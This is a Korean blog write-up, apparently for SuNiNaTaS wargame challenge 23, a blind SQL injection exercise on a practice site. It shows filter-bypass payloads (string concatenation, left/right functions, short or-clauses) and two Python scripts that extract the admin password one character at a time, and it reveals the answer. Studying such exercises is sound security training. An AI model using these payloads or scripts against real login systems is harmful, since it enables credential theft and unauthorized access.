일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 드림핵
- DVWA
- Los
- Dremhack
- Lord of SQL Injection
- Hackerfactory
- XSS
- 써니나타스
- sql injection
- 정보보호
- Web Hacking
- H4CKINGGAME
- 해커팩토리
- 빡공팟 4기
- 워게임
- DOM-Based XSS
- DreamHack
- wargame
- webhacking.kr
- bypass CAPTCHA
- 정보보안
- Cross Site Scripting
- 웹 해킹
- Insecure CAPTCHA
- 빡공팟 6기
- Remote File Inclusion
- TeamH4C
- SuNiNaTas
- Weak Session IDs
- File Upload Vulnerability
- Today
- Total
도카이트
[Wargame] Suninatas 23번 Write-Up 본문
문제 화면
- Blind SQL Injection 앞에 Hard 라는 단어가 붙었다.
- 위압감과 중압감이 함께 몰려오는 더 강해진 Blind SQL Injection 문제인 듯 하다…
- Filtering Keywords 의 키워드들이 새로 바뀌었으며, admin과 substring이 새로 추가되었다.
- 소스코드도 추가로 살펴보도록 하자 ..!
소스코드
- Hint 1의 경우 22번 문제와 동일하다.
- Hint 2의 경우.. ‘admin’ 문자열을 Bypass 하라고 한다..
- 문제 화면에서 살펴보았듯이, Filtering Keywords로 admin이 추가되어 있고, 이를 우회해야 하는듯 하다.
admadminin’ -- 을 이용한 admin 우회 시도
- 혹시 php에서 str_replace 함수의 우회 방법과 같은 방법으로 우회가 될까 싶어서 시도해보았다.
- id에 admadminin’ -- 을 대입하고, pw에 1을 대입하여 로그인을 시도해보았다.
- No hack 이 출력되며 어림없이 admin 문자열을 우회당해버렸다..
‘+’ 를 이용한 문자열 합치기
- 다른 방법으로 ‘+’ 를 이용하여 문자열 합치기를 시도해보았다.
- 사용한 구문은 다음과 같다 : id : adm’+’in’ -- / pw : 1
- admin 문자열을 우회하여 성공적으로 admin 계정으로 로그인을 할 수 있다 !
- admin 문자열 우회 방법을 알았으니 이를 이용해 pw 길이와 pw 값을 알아보자 !
len(pw)를 이용한 패스워드 길이 유추
- 22번과 동일하게 열심히 영차영차 복사 붙여넣기로 타이핑했다..
- 패스워드 길이 확인에 사용한 구문은 다음과 같다.
- adm’+’in’ and len(pw)=[대입 숫자] --
- 11을 대입했을 경우까지는 False를 출력하지만, 12를 대입 시 OK admin이 출력된다.
- 이를 통해 admin의 패스워드 길이는 12 임을 확인할 수 있다 !
left, right 함수를 이용한 substring 우회
- substring을 우회하여 패스워드 문자열을 알아낼 수 있는 방법이 무엇이 있을까….?
- 구글링을 뒤적뒤적한 결과, MSSQL에서는 left와 right 함수를 이용하는 방법이 있다고 한다.
- 사용법은 substring과 비슷하게 left(pw,1) / left(pw,2) 형식으로 사용 가능하다.
- 위 예제에서 사용한 구문은 다음과 같다.
- adm’+’in’ and left(pw,1)=’a’--
- 해당 구문을 이용하여 22번 문제와 동일하게 파이썬 코드를 작성하면 문제를 해결할 수 있을 것 같다 !
그러나, 계속 문제가 해결되지 않아….. 진짜 이 문제만 7시간 넘게 고생했는데…
입력되는 쿼리문의 길이에 대한 검증이 있다고 한다… 길이가 30이 넘어가게 되는 구문은
No hack! 을 출력하며 막혀버린다.. 그러므로 admin 문자열을 포함하지 않고, or 구문을
이용하여 최대한 길이를 줄여야만 한다…
or 구문과 left, right 함수를 사용한 substring 우회
- and 구문 대신 or 구문을 사용하여 작성한 예제이다.
- False 를 출력하며 이를 통해 SQL Injection이 성공하는 것을 확인할 수 있다.
- or 구문을 이용하여 id 파라미터 값을 대입하도록 파이썬을 이용하여 코드를 짜보자 !
left_blind.py
import requests
pw = ''
url = "http://suninatas.com/challenge/web23/web23.asp"
for i in range(1,13):
for j in range(33,128):
target_url = url+"?id='or left(pw,{})='{}'--&pw=1".format(i,pw+chr(j))
r = requests.get(url=target_url)
if "OK <font size=4 color=blue>admin" in r.text:
pw += chr(j)
print(str(i)+" 번째 패스워드 : "+chr(j))
break
print("패스워드 : "+pw);
- 아스키 코드를 이용하여 문자열을 대입하므로, chr 함수를 사용하여 j 값을 대입하였다.
- 해당 코드를 실행하여 admin의 패스워드를 획득할 수 있다. 그러나,
- 11자리 패스워드부터 쿼리 길이 제한에 막혀 더 이상의 패스워드가 출력되지 않는다.
- 따라서 11번째와 12번째 패스워드는 left 함수의 반대인 right 함수를 사용하여 획득해야한다.
right_blind.py
import requests
pw = ''
url = "http://suninatas.com/challenge/web23/web23.asp"
for i in range(1,3):
for j in range(33,128):
target_url = url+"?id='or right(pw,{})='{}'--&pw=1".format(i,chr(j)+pw)
r = requests.get(url=target_url)
if "OK <font size=4 color=blue>admin" in r.text:
pw += chr(j)
print(str(i)+" 번째 패스워드 : "+chr(j))
break
print("패스워드 : "+pw);
- left 함수와 거의 동일한 코드이며, left 함수를 right 함수로 대체하였다.
- 또한, 문자열 포맷에 대입하는 값 중 두 번째 값으로 pw+chr(j)를 chr(j)+pw 로 수정하였다.
- 그럼 작성한 두 파이썬 코드를 실행하여 admin의 전체 패스워드를 획득해보자 !
admin 패스워드 획득
- left 함수를 이용하여 10번째 자리까지 패스워드 값을 획득할 수 있다.
- right 함수를 이용하여 11번째와 12번째 자리까지 최종적으로 패스워드를 획득할 수 있다.
- 그러나, right 함수로 획득한 패스워드는 오른쪽에서부터 획득한 1번째, 2번째 이므로,
- 일반적으로 생각하는 패스워드는 left 함수로 획득한 순서와 동일하다. 따라서,
- right 함수로 획득한 2번째 패스워드가 11번째, 1번째 패스워드가 12번째 패스워드이다.
- admin 계정의 패스워드 결과값은 v3ryhardsqli 이다 !
'Wargame > Suninatas' 카테고리의 다른 글
[Wargame] Suninatas 22번 Write-Up (0) | 2022.06.05 |
---|---|
[Wargame] Suninatas 8번 Write-Up (0) | 2022.06.05 |
[Wargame] Suninatas 7번 Write-Up (0) | 2022.05.31 |
[Wargame] Suninatas 6번 Write-Up (0) | 2022.05.31 |
[Wargame] Suninatas 5번 Write-Up (0) | 2022.05.31 |